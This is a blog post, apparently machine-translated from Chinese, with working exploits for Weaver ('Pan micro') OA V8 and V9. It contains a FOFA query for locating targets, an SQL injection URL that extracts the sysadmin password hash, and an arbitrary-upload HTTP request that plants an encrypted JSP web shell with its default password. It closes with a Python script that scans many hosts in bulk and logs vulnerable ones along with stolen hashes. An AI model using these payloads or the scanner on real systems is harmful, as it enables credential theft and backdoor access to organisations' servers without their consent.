hvv 0day pan micro OA V8 sql injection / V9 file upload (including batch poc)

0x00 introduction to pan micro OA

Founded in 2001 and headquartered in Shanghai, fanwei focuses on the field of collaborative management OA software, and is committed to taking collaborative OA as the core to help enterprises build a new mobile office platform.

0x01 vulnerability description

SQL injection vulnerability exists in Pan micro OA V8, through which an attacker can obtain administrator privileges and server privileges. Pan micro OA V9 has a file upload interface, resulting in arbitrary file upload

0x02 affected version

sql injection: Pan micro OA V8
File upload: fanwei OA V9

0x03FOFA

app = "Pan micro - Collaborative Office OA"

0x04 loophole recurrence

sql injection

In GetData JSP, directly give the request object to
weaver.hrm.common.AjaxManager.getData(HttpServletRequest,
ServletContext) :
Method processing

In the getData method, judge whether the cmd parameter in the request is empty. If not, call the proc method

The Proc method has 4 parameters, (empty string, cmd parameter value, request object, serverContext object)

In the proc method, judge the cmd parameter value. When the cmd value is equal to getSelectAllId, get the sql and type parameter values from the request and pass the parameters into the getSelectAllIds (sql,type) method

According to the above code flow, as long as the request parameters are constructed

?cmd= getSelectAllId&sql=select password as id from userinfo;

You can control the database

POC
http://xxx.xxx.xxx.xxx/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager

Query the password field in the HrmResourceManager table, and the page returns the value of the first record in the database (the password of the sysadmin user)

After decryption, you can log in to the system

Arbitrary file upload

The vulnerability lies in: / page / exportimport / uploadoperation JSP file

The Jsp process is to determine whether the request is a multipart request and upload it directly.

Focus on file = new file (savepath + filename),
The Filename parameter is controllable in the foreground without any filtering restrictions

It's very easy to use. Just face it
127.0.0.1/page/exportImport/uploadOperation.jsp
Just a multipartRequest.

Then request the path:
page/exportImport/fileTransfer/1.jsp

POST /page/exportImport/uploadOperation.jsp HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 397
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6XgyjB6SeCArD3Hc
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
dnt: 1
x-forwarded-for: 127.0.0.1
Connection: close

------WebKitFormBoundary6XgyjB6SeCArD3Hc
Content-Disposition: form-data; name="file"; filename="demo.jsp"
Content-Type: application/octet-stream

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
------WebKitFormBoundary6XgyjB6SeCArD3Hc--

Address: / page / exportimport / Filetransfer / demo jsp

Default password rebeyond

0x05 batch script

This is what I wrote when I hvv was bored. I can inject sql and upload files for single target test and multi-target test, and save the addresses with vulnerabilities to txt files. It may be a little messy, but the vulnerability detection function can be realized generally.

import requests
import urllib3
import time
import argparse

parser = argparse.ArgumentParser(description="Please enter the destination address")
parser.add_argument('-u',type=str,help='Please enter url',dest='url',default='')
parser.add_argument('-f',type=str,help='Please insert dictionary',dest='file',default='')
args = parser.parse_args()
Get_url = args.url
Get_file = args.file

def title():
    print("*"*50)
    print("*"*4+" "*12+"Pan micro OA v9 Foreground file upload"+" "*8+"*"*4)
    print("*"*4+" "*12+"Pan micro OA v8 Reception sql injection"+" "*9+"*"*4)
    print("*"*4+" "*33+"By Guapi Chen"+"*"*4)
    print("*"*4+" "*2+"Single target example: python FanWpoc.py -u url"+" "*4+"*"*4)
    print("*"*4+" "*2+"Multi objective example: python FanWpoc.py -f *.txt"+" "*2+"*"*4)
    print("*"*50)

def poc1(get_url):
    test_url1 = get_url + "/page/exportImport/uploadOperation.jsp"
    sql_url = get_url + "/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager"
    header = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36"
    }
    try:
        urllib3.disable_warnings()
        res_test = requests.get(url=test_url1,headers=header,verify=False,timeout=5)
        if res_test.status_code == 200:
            print(get_url+"       "+"Target file upload page exists, testing file upload, please wait")
            time.sleep(1)
            poc2(get_url)
        else:
            print(get_url+"       "+"The target file upload page does not exist,Change the address.")
        res_sql = requests.get(url=sql_url,headers=header,verify=False,timeout=5)
        if  res_sql.status_code == 200 and '</html>' not in res_sql.text:
            md5pass = str.strip(res_sql.text)
            print("Target exists sql Injection vulnerability")
            vuln_sql = get_url+"       user name: sysadmin  md5 password:"+md5pass
            print(vuln_sql)
            print("--------------------------")
            with open('sql.txt','a+',encoding="utf-8") as s:
                s.write(vuln_sql+'\n')
        else:
            print(get_url+"       "+"target does not exist sql Injection vulnerability")

    except Exception as e:
        print(get_url+"       "+"Target request failed!",e)

def poc2(get_url):
    test_url2 = get_url + "/page/exportImport/uploadOperation.jsp"
    header = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
        "Connection": "close",
        "Content-Length": "500"
    }
    files = {
        'file': ('guapi.jsp',"<%out.print(666);%>",'application/octet-stream')
    }
    try:
        res_1 = requests.post(url=test_url2,headers=header,files=files,verify=False,timeout=5)
        poc3(get_url)
    except Exception as c:
        print("File upload error!",c)

def poc3(get_url):
    test_url3 = get_url + '/page/exportImport/fileTransfer/guapi.jsp'
    header = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
        "Connection": "close",
        "Content-Length": "500"
    }
    res_2 = requests.get(url=test_url3, headers=header, verify=False, timeout=5)
    if '666' in res_2.text and res_2.status_code == 200:
        print("File upload succeeded!!!!!")
        vuln_file = get_url+'/page/exportImport/fileTransfer/guapi.jsp'
        print("Please visit the address:"+vuln_file)
        with open('file.txt','a+',encoding='utf-8') as file:
            file.write(vuln_file+'\n')
    else:
        print("Upload failed. There is no file upload vulnerability in the target")
        print("--------------------------")

def poc4():
    with open(args.file,'r+',encoding='utf-8') as f:
        for i in f.readlines():
            s = i.strip()
            if 'http://' in s:
                poc1(s)
            else:
                exp1 = 'http://'+s
                poc1(exp1)
    f.close()
if __name__ == '__main__':
    title()
    try:
        if Get_url != '' and Get_file == '':
            if 'http://' in Get_url:
                poc1(Get_url)
            else:
                exp2 = 'http://'+Get_url
                poc1(exp2)
        elif Get_url == '' and Get_file != '':
            poc4()
    except KeyboardInterrupt:
        print("End process....")
        pass

Reference Peiqi boss Library: http://wiki.peiqi.tech/

Keywords: Pycharm penetration test security hole

Added by tukon on Tue, 08 Mar 2022 03:20:19 +0200